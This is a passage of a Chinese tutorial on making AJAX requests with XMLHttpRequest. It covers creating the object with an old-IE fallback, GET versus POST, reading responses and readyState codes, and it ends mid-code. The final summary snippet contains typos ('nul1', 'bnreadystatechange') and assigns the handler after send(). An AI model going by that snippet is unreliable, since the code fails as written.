&lt;div class=&quot;language-javascript highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;script&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;type&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;text/javascript&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt;
        &lt;span class=&quot;kd&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;CreateXMLHTTP&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
            &lt;span class=&quot;kd&quot;&gt;var&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;objXmlHttp&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
            &lt;span class=&quot;c1&quot;&gt;// 检测MSXMLHTTP版本，为了兼容IE各个版本&lt;/span&gt;
            &lt;span class=&quot;kd&quot;&gt;var&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;activeKey&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;Array&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;MSXML2.XMLHTTP.5.0&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;MSXML2.XMLHTTP.4.0&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;MSXML2.XMLHTTP.3.0&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;MSXML2.XMLHTTP&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;Microsoft.XMLHTTP&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
            &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;window&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;ActiveXObject&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
                &lt;span class=&quot;k&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kd&quot;&gt;var&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;i&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;i&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;activeKey&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;length&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;++&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
                    &lt;span class=&quot;k&quot;&gt;try&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
                        &lt;span class=&quot;nx&quot;&gt;objXmlHttp&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;ActiveXObject&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;activeKey&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;]);&lt;/span&gt;
                        &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;objXmlHttp&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;!=&lt;/span&gt; &lt;span class=&quot;kc&quot;&gt;null&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
                            &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;objXmlHttp&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
                    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
                    &lt;span class=&quot;k&quot;&gt;catch&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;error&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
                        &lt;span class=&quot;k&quot;&gt;throw&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;Error&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;您的浏览器版本过低，请更新浏览器&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
                    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
                &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
            &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
            &lt;span class=&quot;k&quot;&gt;else&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;window&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;XMLHttpRequest&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
                &lt;span class=&quot;nx&quot;&gt;objXmlHttp&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;XMLHttpRequest&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt;
            &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
            &lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;objXmlHttp&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
        &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
    &lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;sr&quot;&gt;/script&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;&amp;gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;h2 id=&quot;2xmlhttprequest对象向服务器发送请求&quot;&gt;2）XMLHttpRequest对象向服务器发送请求：&lt;/h2&gt;
&lt;div class=&quot;language-javascript highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nx&quot;&gt;objXmlHttp&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;open&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;method&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;url&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;async&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;nx&quot;&gt;objXmlHttp&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;send&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;blockquote&gt;
  &lt;strong&gt;method&lt;/strong&gt;：请求的类型有GET或者POST;
&lt;strong&gt;url&lt;/strong&gt;:文件在服务器上的位置；
&lt;strong&gt;async&lt;/strong&gt;:true（异步）或false(同步).
&lt;/blockquote&gt;

使用GET还是POST？

与post相比，get更简单也更快，并且在大部分情况下都能用。然而，在以下情况中，请使用post请求：

&lt;ol&gt;
  &lt;li&gt;无法使用缓存文件（更新服务器上的文件或数据库）。&lt;/li&gt;
  &lt;li&gt;向服务器发送大量数据（post没有数据量的限制）。&lt;/li&gt;
  &lt;li&gt;发送包含未知字符的用户输入时，post比get更稳定可靠。&lt;/li&gt;
&lt;/ol&gt;

&lt;h2 id=&quot;3服务器响应&quot;&gt;3）服务器响应：&lt;/h2&gt;

如需获得来自服务器的响应，使用XMLHttpRequest对象的responseText或responseXML属性。

例如：
&lt;div class=&quot;language-javascript highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;nb&quot;&gt;document&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;getElementById&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;myDiv&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;).&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;innerHTML&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;xmlhttp&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;responseText&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;

&lt;span class=&quot;nx&quot;&gt;xmlDoc&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;xmlhttp&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;responseXML&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;nx&quot;&gt;txt&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;nx&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;xmlDoc&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;getElementsByTagName&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;ARTIST&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;for&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;length&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;++&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
  &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
  &lt;span class=&quot;nx&quot;&gt;txt&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;txt&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;x&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;i&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;].&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;childNodes&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;0&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;].&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;nodeValue&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;&amp;lt;br /&amp;gt;&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
  &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;nb&quot;&gt;document&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;getElementById&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;myDiv&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;).&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;innerHTML&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;txt&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;h2 id=&quot;4客户端响应事件onreadystatechange&quot;&gt;4）客户端响应事件onreadystatechange&lt;/h2&gt;
XMLHttpRequest对象的三个重要属性：

&lt;blockquote&gt;
  &lt;strong&gt;onreadystatechange&lt;/strong&gt;:存储函数（或函数名），每当readystate属性改变时，就会调用该函数。
&lt;/blockquote&gt;

&lt;blockquote&gt;
  &lt;strong&gt;readystate&lt;/strong&gt;：有5个状态，0：请求未初始化，1：服务器连接已建立，2：请求已接收，3：请求处理中，4：请求已完成，且响应已就绪。
&lt;/blockquote&gt;

&lt;blockquote&gt;
  &lt;strong&gt;status&lt;/strong&gt;:有200：“OK”，404：未找到页面。
&lt;/blockquote&gt;

跟进javascript使用ajax的步骤编写一具体实例：
&lt;div class=&quot;language-javascript highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;script&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;type&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;text/javascript&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt;
        &lt;span class=&quot;kd&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;GetSendData&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;()&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
            &lt;span class=&quot;nb&quot;&gt;document&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;getElementById&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;divTip&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;).&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;innerHTML&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;正在加载中&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
            &lt;span class=&quot;kd&quot;&gt;var&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;strSendUrl&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;b.html?date=&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;+&lt;/span&gt; &lt;span class=&quot;nb&quot;&gt;Date&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt;
            &lt;span class=&quot;nx&quot;&gt;CreateXMLHTTP&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt;
            &lt;span class=&quot;nx&quot;&gt;objXmlHttp&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;open&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;GET&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;strSendUrl&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;kc&quot;&gt;true&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
            &lt;span class=&quot;nx&quot;&gt;objXmlHttp&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;onreadystatechange&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;kd&quot;&gt;function&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;()&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
                &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;objXmlHttp&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;readyState&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;4&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
                    &lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;objXmlHttp&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;status&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;200&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
                        &lt;span class=&quot;nb&quot;&gt;document&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;getElementById&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;divTip&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;).&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;innerHTML&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;objXmlHttp&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;responseText&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
                    &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
                &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
            &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;

            &lt;span class=&quot;nx&quot;&gt;objXmlHttp&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;send&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kc&quot;&gt;null&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
        &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
    &lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;sr&quot;&gt;/script&lt;/span&gt;&lt;span class=&quot;err&quot;&gt;&amp;gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;
&lt;h1 id=&quot;二ajax-一般流程总结&quot;&gt;二、ajax 一般流程总结&lt;/h1&gt;

&lt;div class=&quot;language-javascript highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;o&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;script&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;gt;&lt;/span&gt;
&lt;span class=&quot;c1&quot;&gt;//1.创建一个XMLHttpRequest类型的对象—相当于打开了一个浏览器&lt;/span&gt;
&lt;span class=&quot;kd&quot;&gt;var&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;xmlhttp&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nb&quot;&gt;window&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;XMLHttpRequest&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
  &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;c1&quot;&gt;// code for IE7+, Firefox, Chrome, Opera, Safari&lt;/span&gt;
  &lt;span class=&quot;nx&quot;&gt;xmlhttp&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;XMLHttpRequest&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt;
  &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;else&lt;/span&gt;
  &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;c1&quot;&gt;// code for IE6, IE5&lt;/span&gt;
  &lt;span class=&quot;nx&quot;&gt;xmlhttp&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;new&lt;/span&gt; &lt;span class=&quot;nx&quot;&gt;ActiveXObject&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;s2&quot;&gt;Microsoft.XMLHTTP&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;&quot;&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
  &lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;span class=&quot;c1&quot;&gt;//2.打开与一个网址之间的连接—相当于在地址栏输入访问地址&lt;/span&gt;
&lt;span class=&quot;nx&quot;&gt;xmlhttp&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;open&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;GET&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;s1&quot;&gt;./time.php&lt;/span&gt;&lt;span class=&quot;dl&quot;&gt;'&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;c1&quot;&gt;//3.通过连接送一次请求—相当于回车或者点击访问发送请求&lt;/span&gt;
&lt;span class=&quot;nx&quot;&gt;xmlhttp&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;send&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;nul1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;c1&quot;&gt;//4.指定xmlhttp状态变化事件处理函数—相当于处理网页呈现后的操作&lt;/span&gt;
&lt;span class=&quot;nx&quot;&gt;xmlhttp&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;bnreadystatechange&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;kd&quot;&gt;function&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(){&lt;/span&gt;
&lt;span class=&quot;c1&quot;&gt;//通过xmlhttp的readyState判断此次请求的响应是否接收完成&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;if&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;this&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;nx&quot;&gt;readyState&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;===&lt;/span&gt;&lt;span class=&quot;mi&quot;&gt;4&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;){&lt;/span&gt;
&lt;span class=&quot;c1&quot;&gt;//通过xmlhttp的responseText获取到响应的响应体&lt;/span&gt;
